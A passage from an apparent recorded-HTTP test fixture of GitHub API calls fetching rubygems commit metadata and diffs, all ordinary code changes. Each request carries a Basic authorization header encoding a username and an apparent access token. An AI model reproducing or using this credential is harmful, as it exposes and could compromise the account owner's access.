YTUzMTMwN2Q2ODFmMyJ9XSwic3RhdHMiOnsidG90YWwiOjIxLCJhZGRpdGlvbnMiOjEyLCJkZWxldGlvbnMiOjl9LCJmaWxlcyI6W3sic2hhIjoiNDA4NjcyMTU4ZjgyNGU1MjhiOWY0M2Q5MmUzMDQ2NTAwNTg2Y2IyZSIsImZpbGVuYW1lIjoibGliL3J1YnlnZW1zL2NvbW1hbmRzL3ByaXN0aW5lX2NvbW1hbmQucmIiLCJzdGF0dXMiOiJtb2RpZmllZCIsImFkZGl0aW9ucyI6MTIsImRlbGV0aW9ucyI6OSwiY2hhbmdlcyI6MjEsImJsb2JfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvMWE4MjZhNzY4NGJiYTRmMTA4ZGIyNWU4ZjE3ZDU3MWEyMjgxNmZkNy9saWIvcnVieWdlbXMvY29tbWFuZHMvcHJpc3RpbmVfY29tbWFuZC5yYiIsInJhd191cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcmF3LzFhODI2YTc2ODRiYmE0ZjEwOGRiMjVlOGYxN2Q1NzFhMjI4MTZmZDcvbGliL3J1YnlnZW1zL2NvbW1hbmRzL3ByaXN0aW5lX2NvbW1hbmQucmIiLCJjb250ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbnRlbnRzL2xpYi9ydWJ5Z2Vtcy9jb21tYW5kcy9wcmlzdGluZV9jb21tYW5kLnJiP3JlZj0xYTgyNmE3Njg0YmJhNGYxMDhkYjI1ZThmMTdkNTcxYTIyODE2ZmQ3IiwicGF0Y2giOiJAQCAtMTI1LDE0ICsxMjUsMTQgQEAgZGVmIGV4ZWN1dGVcbiAgICAgICAgIG5leHRcbiAgICAgICBlbmRcbiBcbi0gICAgICB1bmxlc3Mgc3BlYy5leHRlbnNpb25zLmVtcHR5PyBvciBvcHRpb25zWzpleHRlbnNpb25zXSB0aGVuXG4rICAgICAgdW5sZXNzIHNwZWMuZXh0ZW5zaW9ucy5lbXB0eT8gb3Igb3B0aW9uc1s6ZXh0ZW5zaW9uc10gb3Igb3B0aW9uc1s6b25seV9leGVjdXRhYmxlc10gdGhlblxuICAgICAgICAgc2F5IFwiU2tpcHBlZCAje3NwZWMuZnVsbF9uYW1lfSwgaXQgbmVlZHMgdG8gY29tcGlsZSBhbiBleHRlbnNpb25cIlxuICAgICAgICAgbmV4dFxuICAgICAgIGVuZFxuIFxuICAgICAgIGdlbSA9IHNwZWMuY2FjaGVfZmlsZVxuIFxuLSAgICAgIHVubGVzcyBGaWxlLmV4aXN0PyBnZW0gdGhlblxuKyAgICAgIHVubGVzcyBGaWxlLmV4aXN0PyBnZW0gb3Igb3B0aW9uc1s6b25seV9leGVjdXRhYmxlc10gdGhlblxuICAgICAgICAgcmVxdWlyZSAncnVieWdlbXMvcmVtb3RlX2ZldGNoZXInXG4gXG4gICAgICAgICBzYXkgXCJDYWNoZWQgZ2VtIGZvciAje3NwZWMuZnVsbF9uYW1lfSBub3QgZm91bmQsIGF0dGVtcHRpbmcgdG8gZmV0Y2guLi5cIlxuQEAgLTE1NywxNiArMTU3LDE5IEBAIGRlZiBleGVjdXRlXG4gICAgICAgICAgIGluc3RhbGxfZGVmYXVsdHMudG9fc1snLS1lbnYtc2hlYmFuZyddXG4gICAgICAgICBlbmRcbiBcbi0gICAgICBpbnN0YWxsZXIgPSBHZW06Okluc3RhbGxlci5hdChnZW0sXG4tICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDp3cmFwcGVycyA9PiB0cnVlLFxuLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA6Zm9yY2UgPT4gdHJ1ZSxcbi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgOmluc3RhbGxfZGlyID0+IHNwZWMuYmFzZV9kaXIsXG4tICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDplbnZfc2hlYmFuZyA9PiBlbnZfc2hlYmFuZyxcbi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgOmJ1aWxkX2FyZ3MgPT4gc3BlYy5idWlsZF9hcmdzKVxuLVxuKyAgICAgIGluc3RhbGxlcl9vcHRpb25zID0geyBcbisgICAgICAgIDp3cmFwcGVycyA9PiB0cnVlLFxuKyAgICAgICAgOmZvcmNlID0+IHRydWUsXG4rICAgICAgICA6aW5zdGFsbF9kaXIgPT4gc3BlYy5iYXNlX2RpcixcbisgICAgICAgIDplbnZfc2hlYmFuZyA9PiBlbnZfc2hlYmFuZyxcbisgICAgICAgIDpidWlsZF9hcmdzID0+IHNwZWMuYnVpbGRfYXJncyxcbisgICAgICB9XG4rICAgICAgXG4gICAgICAgaWYgb3B0aW9uc1s6b25seV9leGVjdXRhYmxlc10gdGhlblxuKyAgICAgICAgaW5zdGFsbGVyID0gR2VtOjpJbnN0YWxsZXIuZm9yX3NwZWMoc3BlYywgaW5zdGFsbGVyX29wdGlvbnMpXG4gICAgICAgICBpbnN0YWxsZXIuZ2VuZXJhdGVfYmluXG4gICAgICAgZWxzZVxuKyAgICAgICAgaW5zdGFsbGVyID0gR2VtOjpJbnN0YWxsZXIuYXQoZ2VtLCBpbnN0YWxsZXJfb3B0aW9ucylcbiAgICAgICAgIGluc3RhbGxlci5pbnN0YWxsXG4gICAgICAgZW5kXG4gIn1dfQ== http_version: recorded_at: Sat, 06 Jan 2018 15:00:13 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/e4560e15030af4921a0cdd7b6b5a531307d681f3 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:13 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4400' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"5f50d9dc7c8a3b7574fc612c339859a6" Last-Modified: - Tue, 29 Aug 2017 16:30:38 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.044711' X-Github-Request-Id: - C5E0:4D95:F48756:1C84934:5A50E47D body: encoding: ASCII-8BIT string: '{"sha":"e4560e15030af4921a0cdd7b6b5a531307d681f3","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-29T13:41:11Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-29T16:30:38Z"},"message":"Regenerate binstubs on setup silently","tree":{"sha":"8bdca0b5b641f9063769ba5e2b77125d8a60f505","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/8bdca0b5b641f9063769ba5e2b77125d8a60f505"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/e4560e15030af4921a0cdd7b6b5a531307d681f3","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZpZauAAoJEAEZW7MV3ahW/pIP/j7ZnVFO7VNaeCblC/2CHYgj\nV07IOpq4/uyvy2XueeFl6piBtONOEn5V3ra8PfrQ00q5kXR2xbqmZXMpSEGQtxMM\nfzBnf5efx0wdG53gb5muMdWazFcIvAydjwvKe9+l/rMM7sujJhyjUTzOhsfdT1KG\nICd8kmzHIYBwOc8rJX2sTQSYXdT0WVVDbm555WErpbDnusExSu4TZPuy3gSn+Du9\nvQJWrmnUxTrwywqi3nKsyLK3mx8IcpM05XLQEVUFKtnIeJ6SCdRL+3eI0ivXMqXL\nhPOkql8lPVjJeIPiOLYfkXd1dNtZrAd5erSo/XQfNSJDyIlPaaGNjkxR9oL08GcL\nw5akglet51/Gkq8RxM8y1G/rsLg1TFqwYvcqFbYsV07q2B3vdAsnGDUD70eY4jnd\nsC8J9C5B52vFqynFDTzgaM7Cy4rK05e6p6e33A3V5X6lhT1WDqpT6BkHiWHr+/WA\ncTNfQE1c1jZMlwD7TgbNNJ42JEzd1E1PULALjEx85pwNNxnqog4gL/4OayEGBCi0\nGtfdilOSUHK4QOumEQ83URyoJZzHXpBOnuUSE2URhZKTfdi9E4ywc7qdTgc6bv3q\nexRPdmt3wn8O31zXoZSE0qpI5YduQg2cHupHDl+NIqmuijpCAvfFge6Nokq14WuL\nBsPJKe0CeuHA8B4+MsXU\n=ioIj\n-----END PGP SIGNATURE-----","payload":"tree 8bdca0b5b641f9063769ba5e2b77125d8a60f505\nparent c5768a8f773ae64cf131554a10879f25b3d58127\nauthor Samuel Giddins 1504014071 -0500\ncommitter Samuel Giddins 1504024238 -0500\n\nRegenerate binstubs on setup silently\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/e4560e15030af4921a0cdd7b6b5a531307d681f3","html_url":"https://github.com/rubygems/rubygems/commit/e4560e15030af4921a0cdd7b6b5a531307d681f3","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/e4560e15030af4921a0cdd7b6b5a531307d681f3/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"c5768a8f773ae64cf131554a10879f25b3d58127","url":"https://api.github.com/repos/rubygems/rubygems/commits/c5768a8f773ae64cf131554a10879f25b3d58127","html_url":"https://github.com/rubygems/rubygems/commit/c5768a8f773ae64cf131554a10879f25b3d58127"}],"stats":{"total":5,"additions":3,"deletions":2},"files":[{"sha":"b758c28159e91a8969d9cc8814ff1edef770b33d","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":3,"deletions":2,"changes":5,"blob_url":"https://github.com/rubygems/rubygems/blob/e4560e15030af4921a0cdd7b6b5a531307d681f3/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/e4560e15030af4921a0cdd7b6b5a531307d681f3/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=e4560e15030af4921a0cdd7b6b5a531307d681f3","patch":"@@ -533,9 +533,10 @@ def uninstall_old_gemcutter\n end\n \n def regenerate_binstubs\n+ require \"rubygems/commands/pristine_command\"\n+ say \"Regenerating binstubs\"\n command = Gem::Commands::PristineCommand.new\n- command.handle_options %w[--all --only-executables]\n- command.execute\n+ command.invoke(*%w[--all --only-executables --silent])\n end\n \n end"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:13 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/c5768a8f773ae64cf131554a10879f25b3d58127 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:13 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4399' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"e35e18302ffcf0f2547da02b5dfa2301" Last-Modified: - Tue, 29 Aug 2017 16:30:37 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.046478' X-Github-Request-Id: - C5E2:4D96:971C52:13A457A:5A50E47D body: encoding: ASCII-8BIT string: '{"sha":"c5768a8f773ae64cf131554a10879f25b3d58127","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-29T13:40:41Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-29T16:30:37Z"},"message":"Make the warning for a missing executable slightly more helpful\n\nNow it says that the bin path does not exist","tree":{"sha":"de7a8e64114b24e77e477bffec000a19405185b6","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/de7a8e64114b24e77e477bffec000a19405185b6"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/c5768a8f773ae64cf131554a10879f25b3d58127","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZpZatAAoJEAEZW7MV3ahWjhAP/0HJb625/Mlkxe102lsf0bDa\n2Sa5JsOviUulPaug/rG8N5ImfIZ419KXtqB4WElgUvOO1vXdFIZ+3iWSvywvSbqh\nwnu8rqLzpgslvxFjnJCazJ7Z1tvsji9wHOKrZNtI6k50VSCnhDruGwYJGYDgk6kP\na7CQKV6qp0jrFMaDX/MfNDmjc7v5IYnkgWSic4QrwYmTaxYdO/fpLg3I1akCTREo\nmz7sWBZdV/GNvpSnWkKFjmlFFwHBV4jS/Xj1Seh8PBL9vsaDAVrDLx2BpN4Gjuga\nuzHnAxxXccMBfcYxtmQeWSPPLD8rsQGBBd0QvclUzgRx4BUzb8ipyr6jg0s8o67V\nsa2NVJXlWd+5+g3UMTaurRs6UBghX/S1odlyPvaGp6Q7eH3/kRza5Ny8FtaY3A+C\nvlvMZUi/o2Y2RdtLvEzj5zjjloCyw+GXPwHnWUS+/JdhYuyEzL+dBZ7I2UQiFLXK\nZA+RwcG+5ADI9g41tcmcTs9Mn8aUGD2R/bg8c/EeNMdA4jWNtwf6TXigR1OQLD1L\n581ZWGCwO/WsrJegy6Yruafn14EC2BdJhzHqBJ6W9bDnIUaNCFp5fAJtgN5ld+Zq\n1X8h6mAZLzOGLcjcBKxzjkLUyzEQhWP2MLhXSuHsZ84vVRln3Id1TW2qIG4ceUGp\nr9yD5qaabMYSeBBFn/sU\n=Aq+L\n-----END PGP SIGNATURE-----","payload":"tree de7a8e64114b24e77e477bffec000a19405185b6\nparent d5b2779ded89607e6e1c8e1a050aa073cde1e7fc\nauthor Samuel Giddins 1504014041 -0500\ncommitter Samuel Giddins 1504024237 -0500\n\nMake the warning for a missing executable slightly more helpful\n\nNow it says that the bin path does not exist\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/c5768a8f773ae64cf131554a10879f25b3d58127","html_url":"https://github.com/rubygems/rubygems/commit/c5768a8f773ae64cf131554a10879f25b3d58127","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/c5768a8f773ae64cf131554a10879f25b3d58127/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"d5b2779ded89607e6e1c8e1a050aa073cde1e7fc","url":"https://api.github.com/repos/rubygems/rubygems/commits/d5b2779ded89607e6e1c8e1a050aa073cde1e7fc","html_url":"https://github.com/rubygems/rubygems/commit/d5b2779ded89607e6e1c8e1a050aa073cde1e7fc"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"0cbca0791b2e35db891751db35c7fa8e031f97d1","filename":"lib/rubygems/installer.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/c5768a8f773ae64cf131554a10879f25b3d58127/lib/rubygems/installer.rb","raw_url":"https://github.com/rubygems/rubygems/raw/c5768a8f773ae64cf131554a10879f25b3d58127/lib/rubygems/installer.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/installer.rb?ref=c5768a8f773ae64cf131554a10879f25b3d58127","patch":"@@ -473,7 +473,7 @@ def generate_bin # :nodoc:\n \n unless File.exist? bin_path then\n # TODO change this to a more useful warning\n- warn \"#{bin_path} maybe `gem pristine #{spec.name}` will fix it?\"\n+ warn \"`#{bin_path}` does not exist, maybe `gem pristine #{spec.name}` will fix it?\"\n next\n end\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:14 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/d5b2779ded89607e6e1c8e1a050aa073cde1e7fc body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:14 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4398' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"45e95db80dfbfc98f6b0b95e225b0e5b" Last-Modified: - Tue, 29 Aug 2017 16:30:37 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.061593' X-Github-Request-Id: - C5E4:4D96:971C60:13A4596:5A50E47E body: encoding: ASCII-8BIT string: '{"sha":"d5b2779ded89607e6e1c8e1a050aa073cde1e7fc","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-29T13:40:11Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-29T16:30:37Z"},"message":"Implement Util.traverse_parents in terms of block chdir","tree":{"sha":"fd5e849f75aee85830194d91b3df9f5c832ab409","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/fd5e849f75aee85830194d91b3df9f5c832ab409"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/d5b2779ded89607e6e1c8e1a050aa073cde1e7fc","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZpZatAAoJEAEZW7MV3ahWXi4QAIbBP8AdYc951zdNANvX9HVr\nAe3dv1KGC86ut+Lpj9qUZUlbij2dMdjN1Tdd+F14b5Tn5IU6iuzdgZIjZP103yql\nEfJtS+9j7x3hj45Ix9CDl2aGqTKPqg9u1t6VcKysJhYrQidQ5WhwKiN7+eDh2ziI\nI8TCIrcVKON10D1NIrIhdQeTR+CPMUqIHsfBeEUzCyqCQ9dHPneYC60hbAVpkj6h\nYpCOpun9VV92cSrt3iyBZS52epZ2o62j6/WQtm66vHrTB4W/coA0XQTcP5tg6jfi\njnN5pjpbjJyZAnwN4ApFPxJ64GfkPq2SHLhoq03obcBMTkYVyaP7Uolescti2OEq\n6UzfsCvBgPE3RqH5BMDg/AOxlJ37QK2uj1h2VHd4I2TPecaJB77eQ59xYNp+BsCc\nZJmH8zWGCU3rth4lBHTjmt/qy+4b/Y2wPI3WUZRByQtHFP9D1QAAYcCQL9lxOwkw\n1ljmDYKPcCAgGNRtArgr3NczWrlxRc6FhtciGPrLlFjj5htG9gebBCvTyH4wr5bG\ncgT3laXciBzeIypnJrDK0w9HKhUDFA0xPFOGpkuZHgAN/Xgb1tHr96Fwu1ns3IBo\ng5rMx5qxhfoQMo4TveUbcIRGIxSkNWVyhK2Zk4IeqorZ7nTEqMA9gxD6vxZrgsyM\noTqsV8k8iyv66GeU1a8d\n=Gp6w\n-----END PGP SIGNATURE-----","payload":"tree fd5e849f75aee85830194d91b3df9f5c832ab409\nparent 4921af81167d4ca03d2460f2d1311af6518dda6d\nauthor Samuel Giddins 1504014011 -0500\ncommitter Samuel Giddins 1504024237 -0500\n\nImplement Util.traverse_parents in terms of block chdir\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/d5b2779ded89607e6e1c8e1a050aa073cde1e7fc","html_url":"https://github.com/rubygems/rubygems/commit/d5b2779ded89607e6e1c8e1a050aa073cde1e7fc","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/d5b2779ded89607e6e1c8e1a050aa073cde1e7fc/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"4921af81167d4ca03d2460f2d1311af6518dda6d","url":"https://api.github.com/repos/rubygems/rubygems/commits/4921af81167d4ca03d2460f2d1311af6518dda6d","html_url":"https://github.com/rubygems/rubygems/commit/4921af81167d4ca03d2460f2d1311af6518dda6d"}],"stats":{"total":24,"additions":7,"deletions":17},"files":[{"sha":"2de45c900b69ee10cd786b45aca33274dd8157bb","filename":"lib/rubygems/util.rb","status":"modified","additions":6,"deletions":17,"changes":23,"blob_url":"https://github.com/rubygems/rubygems/blob/d5b2779ded89607e6e1c8e1a050aa073cde1e7fc/lib/rubygems/util.rb","raw_url":"https://github.com/rubygems/rubygems/raw/d5b2779ded89607e6e1c8e1a050aa073cde1e7fc/lib/rubygems/util.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/util.rb?ref=d5b2779ded89607e6e1c8e1a050aa073cde1e7fc","patch":"@@ -109,26 +109,15 @@ def self.silent_system *command\n ##\n # Enumerates the parents of +directory+.\n \n- def self.traverse_parents directory\n+ def self.traverse_parents directory, &block\n return enum_for __method__, directory unless block_given?\n \n here = File.expand_path directory\n- start = here\n-\n- Dir.chdir start\n-\n- begin\n- loop do\n- yield here\n-\n- Dir.chdir ''..''\n-\n- return if Dir.pwd == here # toplevel\n-\n- here = Dir.pwd\n- end\n- ensure\n- Dir.chdir start\n+ loop do\n+ Dir.chdir here, &block\n+ new_here = File.expand_path(''..'', here)\n+ return if new_here == here # toplevel\n+ here = new_here\n end\n end\n "},{"sha":"b85db44d514a1e4f0f1cffbf09084b9746e4dfa3","filename":"test/rubygems/test_gem_util.rb","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/rubygems/rubygems/blob/d5b2779ded89607e6e1c8e1a050aa073cde1e7fc/test/rubygems/test_gem_util.rb","raw_url":"https://github.com/rubygems/rubygems/raw/d5b2779ded89607e6e1c8e1a050aa073cde1e7fc/test/rubygems/test_gem_util.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_util.rb?ref=d5b2779ded89607e6e1c8e1a050aa073cde1e7fc","patch":"@@ -26,6 +26,7 @@ def test_traverse_parents\n assert_equal File.join(@tempdir, ''a/b/c''), enum.next\n assert_equal File.join(@tempdir, ''a/b''), enum.next\n assert_equal File.join(@tempdir, ''a''), enum.next\n+ loop { break if enum.next.nil? } # exhaust the enumerator\n end\n \n def test_linked_list_find"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:14 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/4921af81167d4ca03d2460f2d1311af6518dda6d body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:14 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4397' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, 